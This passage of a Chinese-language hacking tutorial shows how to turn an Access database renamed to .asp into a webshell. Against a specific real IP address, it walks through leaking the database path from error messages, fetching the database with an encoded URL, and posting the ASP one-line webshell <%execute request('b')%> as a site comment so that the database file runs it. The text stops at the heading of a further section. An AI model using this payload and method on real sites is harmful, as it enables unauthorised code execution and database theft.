|
可能是随着网络安全技术的发展吧,管理员的素质都在提高,在使用access+asp系统时,为不数据库被人下载,到把mdb改为asp或asa。先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。 2. 示例 <http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210> 返回: microsoft vbscript 编译器错误 错误 '800a03f6' 缺少 'end' /iishelp/common/500-100.asp,行?4 microsoft jet database engine 错误 '80004005' 'd:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。 /test/conn.asp,行? 我们提交:<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论: <%execute request("b")%> 这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:<http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp>在乱码的最后我们看到: 哈哈,我们的插入的代码运行了。如下图: 注意:我们在向数据库提交代码时,代码内容不可以太大。所以我们采用<%execute request("b")%>。 3. 其他一些问题和思路 |

